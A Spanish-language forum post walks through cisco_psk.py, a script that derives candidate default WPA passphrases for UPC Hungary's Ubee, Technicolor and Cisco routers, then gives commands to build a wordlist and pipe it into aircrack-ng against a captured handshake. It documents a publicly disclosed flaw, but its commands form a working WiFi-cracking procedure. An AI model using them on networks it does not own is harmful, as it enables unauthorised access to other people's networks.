cisco_psk.py para routers Ubee, Technicolor y Cisco de UPC (Pagina 1) / Diccionarios, generadores, y generación de diccionarios / Foro Wifi-libre.com

El libre pensamiento para un internet libre

No estas registrado.     

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

#1 24-07-2016 17:23:07

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 2,194

cisco_psk.py para routers Ubee, Technicolor y Cisco de UPC

Código en python para crackear los routers de la operadora UPC en Hungría

cisco_py_1.png

 

  • Nombre del script:  Cisco_psk.py

  • Autor del script y créditos:  Gergely EBERHARDT (aka @ebux25)

  • Sito web: Search Lab

  • Lenguaje: Python

  • Licencia:  Libre


  Más detalles sobre la brecha explotada en: Routers Ubee, Cisco y Technicolor de la operadora UPC de Hungría
  Fuente y pagina del código original: Cisco EPC3925 UPC modem/router default passphrase vulnerabilities

  No voy a volver sobre lo comentado en el hilo citado anteriormente, aquí solo vamos a ver como se usa el script para explotar la brecha.

Paso uno

Descargamos el código desde su rama Git Hub

git clone https://github.com/ebux/Cable-modems.git

PD : Si no tienes git instalado debes instalarlo

sudo apt-get install git
Paso dos

Nos situamos en el directorio adecuado.
En la misma terminal tecleamos

cd /Cable-modems/Cisco
Paso tres

  Ejecutamos el script invocando su interprete (python)

python cisco_psk.py

  Obtenemos las instrucciones de uso:

cisco_py_2.jpg

Uso básico

  Debemos entrar el final del eSSID (Los X en UPC_XXXXXX) y el bSSID entero
Obtendremos así varias contraseñas con el numero de serie al cuál corresponden.

cisco_py_3.jpg

  Para un ordenador de recursos modestos como el mio (dos núcleos a 2.1 Ghz) se tardan unos treinta minutos y he obtenido una lista de 111 contraseñas (crack instantáneo contra un handshake)
  5 minutos con un buen microprocesador i5 i7 o AMD 



Uso "mejorado"

  Para hacer un diccionario hay que depurar la salida en consola que nos devuelve el serial.
Podemos ejecutar el script así

cisco_psk.py <essid> <bssid> | awk -F' ' '{ print $3 }'  >> diccionario_para_UPCXXXXXX.txt
  • | awk -F' ' '{ print $3 }' - Guardamos el tercer campo de la salida estándar utilizando espacio como delimitador 

  • >> diccionario_para_UPCXXXXXX.txt - Redirigimos la salida hacía un fichero llamado "diccionario_para_UPCXXXXXX.txt"

  Podemos también crackear nuestro router UPC al vuelo (sin guardar diccionario) así :

cisco_psk.py <essid> <bssid> | awk -F' ' '{ print $3 }' | aircrack-ng <ruta_hacía_handshake> -e <eSSID> -w- 

Desconectado

Anuncio

Wifi-highpower.es es distribuidor oficial de Alfa Network

Temas similares

Pie de página

Información del usuario

Ultimo usuario registrado: jjrg26
Usuarios registrados conectados: 0
Invitados conectados: 11

Estadisticas de los foros

Número total de usuarios registrados: 384
Número total de temas: 655
Número total de mensajes: 4,614

Máx. usuarios conectados: 45 el 12-04-2016 12:02:20